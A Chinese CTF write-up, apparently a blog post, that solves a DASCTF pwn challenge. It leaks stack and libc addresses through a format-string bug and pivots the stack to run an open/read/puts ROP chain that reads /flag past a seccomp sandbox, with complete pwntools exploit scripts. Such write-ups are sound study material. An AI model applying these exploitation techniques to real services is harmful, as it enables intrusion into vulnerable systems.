第一次在大型比赛中拿分 蛮开心的 记录一下
checksec看一下保护机制
1 2 3 4 5 6 7 8 [!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/xihu2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: '/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/'
顺便用xclibc改一下libc文件 方便我们本地动态调试(这题调试十分重要)
ida分析一下伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char *v3; char buf[8 ]; char dest[8 ]; char v7[176 ]; sub_401236(a1, a2, a3); if ( !dword_4040AC ) { strcpy (dest, "Hello, " ); puts ("Welcome to DASCTF message board, please leave your name:" ); read(0 , buf, 8uLL ); dword_4040AC = 1 ; } v3 = strcat (dest, buf); printf (v3); puts ("Now, please say something to DASCTF:" ); read(0 , v7, 0xC0 uLL); puts ("Posted Successfully~" ); return 0LL ; }
sub_401236函数清空了缓存区 顺便开了沙箱
onegadget和system(“/bin/sh”)用不了了
接着往下分析
对dword_4040AC进行了if判断 如果为0就进入分支 分支最后将其值设置为1 应该是为了防止修改返回地址为main函数 从而反复利用格式化字符串漏洞
拥有一次向buf写入0x8字节的机会
随后将buf的内容通过strcat函数和dest字符串拼接 赋值给了v3 随后printf(v3)存在格式化字符串漏洞
接着拥有一次栈溢出的机会 但是溢出字节数只有0x10 只够我们覆盖ret addr
由于开启了沙盒 所以这里只能用栈迁移了 往栈上写入rop链 那么需要泄露栈地址和libc基址
那就通过格式化字符串漏洞泄露栈地址
gdb动调看一下偏移
位于rsp+0x70处存放着栈上的地址 那么偏移为6+0x70/8 = 20
泄露出来了也还没有结束 我们需要计算一下我们接下来栈溢出的变量v7在栈上的地址
当前程序中我输入的v7值为aaaaaaaa 而我们泄露出来的栈地址为0x7fffffffdef0
二者地址差值为0xd0 所以v7_addr = stack_addr - 0xd0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *io = process("./xihu2" ) elf = ELF("./xihu2" ) libc = ELF("./libc.so.6" ) context.log_level = "debug" context.arch = "amd64" io.recvuntil("Welcome to DASCTF message board, please leave your name:" ) payload = b'%20$p' io.send(payload) io.recvuntil("Hello, " ) stack_addr = int (io.recv(14 ),16 ) success(hex (stack_addr)) v7_addr = stack_addr -0xd0
接下来就是构造rop链 由于开启了沙盒禁用了execve 所以我们这里用orw的方法泄露flag
但是还需要用到pop rsi pop rdx指令 显然动态链接的情况下 二进制文件中是没有这两条指令的
所以我们还需要泄露libc基址 去libc文件中找到这两条指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 io.recvuntil("Now, please say something to DASCTF:" ) rdi_addr = 0x401413 puts_got = elf.got['puts' ] back_addr = 0x4012e3 puts_plt = 0x4010e0 leave_addr = 0x4012e1 bss_addr = 0x4040B0 +0x50 payload = p64(rdi_addr)+p64(puts_got)+p64(back_addr)+p64(puts_plt) payload = payload.ljust(0xb0 ,b'\x00' ) payload += p64(v7_addr-0x8 )+p64(leave_addr) io.send(payload) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (puts_addr)) libc_addr = puts_addr - (0x7f5551189951 -0x7f55510f9000 ) success(hex (libc_addr))
但是这里泄露libc基址的时候 并非泄露出来的是我预想中的puts_addr
而是_IO_do_write+177的地址 不过照样能得到libc基址就行了
接下来就是简单的构造orw链 但是由于main函数一系列的入栈出栈操作 rsp指针的指向并不会跟我们泄露libc基址时一样
所以我们还需要进行一次动态调试 找到我们第二次写入rop链时的栈地址
调试exp: 虽然该exp的orw链偏移是调试后的正确结果 但是未调试时的orw链同样也可以 只是为了找到第二次写入v7的rsp指针地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *io = process("./xihu2" ) elf = ELF("./xihu2" ) libc = ELF("./libc.so.6" ) context.log_level = "debug" context.arch = "amd64" io.recvuntil("Welcome to DASCTF message board, please leave your name:" ) payload = b'%20$p' io.send(payload) io.recvuntil("Hello, " ) stack_addr = int (io.recv(14 ),16 ) success(hex (stack_addr)) v7_addr = stack_addr -0xd0 io.recvuntil("Now, please say something to DASCTF:" ) rdi_addr = 0x401413 puts_got = elf.got['puts' ] back_addr = 0x4012e3 puts_plt = 0x4010e0 leave_addr = 0x4012e1 bss_addr = 0x4040B0 +0x50 payload = p64(rdi_addr)+p64(puts_got)+p64(back_addr)+p64(puts_plt) payload = payload.ljust(0xb0 ,b'\x00' ) payload += p64(v7_addr-0x8 )+p64(leave_addr) io.send(payload) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (puts_addr)) libc_addr = puts_addr - (0x7f5551189951 -0x7f55510f9000 ) success(hex (libc_addr)) io.recvuntil("Now, please say something to DASCTF:" ) system_addr = libc_addr + libc.sym['system' ] binsh_addr = libc_addr + next (libc.search(b'/bin/sh' )) rsi_addr = libc_addr + 0x2601f rdx_addr = libc_addr + 0x142c92 open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] payload = b'/flag' .ljust(8 ,b'\x00' )+p64(rdi_addr)+p64(stack_addr-0x170 )+p64(rsi_addr)+p64(0 )+p64(open_addr) payload += p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30 )+p64(read_addr) payload += p64(rdi_addr)+p64(bss_addr)+p64(puts_plt) payload = payload.ljust(0xb0 ,b'\x00' ) payload += p64(stack_addr-0x170 )+p64(leave_addr) gdb.attach(io,'b *0x4013A3' ) io.send(payload)
利用set $rsp = $rsp - 0x30 来不断的抬高栈帧 我们可以找到我们写入的rop链
于是偏移就是当前程序运行泄露的stack_addr - 0x7ffc8bf40650 = 0x170
1 2 3 4 5 payload = b'/flag' .ljust(8 ,b'\x00' )+p64(rdi_addr)+p64(stack_addr-0x170 )+p64(rsi_addr)+p64(0 )+p64(open_addr) payload += p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30 )+p64(read_addr) payload += p64(rdi_addr)+p64(bss_addr)+p64(puts_plt) payload = payload.ljust(0xb0 ,b'\x00' ) payload += p64(stack_addr-0x170 )+p64(leave_addr)
还有一点就是注意最后栈迁移的地址是rop链的起始地址减去一个字长
而stack_addr - 0x170是/flag字符串的地址 所以实际上rop链的起始地址是stack_addr - 0x168
所以覆盖old_rbp的地址应为stack_addr - 0x170
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *io = process("./xihu2" ) elf = ELF("./xihu2" ) libc = ELF("./libc.so.6" ) context.log_level = "debug" context.arch = "amd64" io.recvuntil("Welcome to DASCTF message board, please leave your name:" ) payload = b'%20$p' io.send(payload) io.recvuntil("Hello, " ) stack_addr = int (io.recv(14 ),16 ) success(hex (stack_addr)) v7_addr = stack_addr -0xd0 io.recvuntil("Now, please say something to DASCTF:" ) rdi_addr = 0x401413 puts_got = elf.got['puts' ] back_addr = 0x4012e3 puts_plt = 0x4010e0 leave_addr = 0x4012e1 bss_addr = 0x4040B0 +0x50 payload = p64(rdi_addr)+p64(puts_got)+p64(back_addr)+p64(puts_plt) payload = payload.ljust(0xb0 ,b'\x00' ) payload += p64(v7_addr-0x8 )+p64(leave_addr) io.send(payload) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (puts_addr)) libc_addr = puts_addr - (0x7f5551189951 -0x7f55510f9000 ) success(hex (libc_addr)) io.recvuntil("Now, please say something to DASCTF:" ) system_addr = libc_addr + libc.sym['system' ] binsh_addr = libc_addr + next (libc.search(b'/bin/sh' )) rsi_addr = libc_addr + 0x2601f rdx_addr = libc_addr + 0x142c92 open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] payload = b'/flag' .ljust(8 ,b'\x00' )+p64(rdi_addr)+p64(stack_addr-0x170 )+p64(rsi_addr)+p64(0 )+p64(open_addr) payload += p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x30 )+p64(read_addr) payload += p64(rdi_addr)+p64(bss_addr)+p64(puts_plt) payload = payload.ljust(0xb0 ,b'\x00' ) payload += p64(stack_addr-0x170 )+p64(leave_addr) io.send(payload) io.recv() io.recv()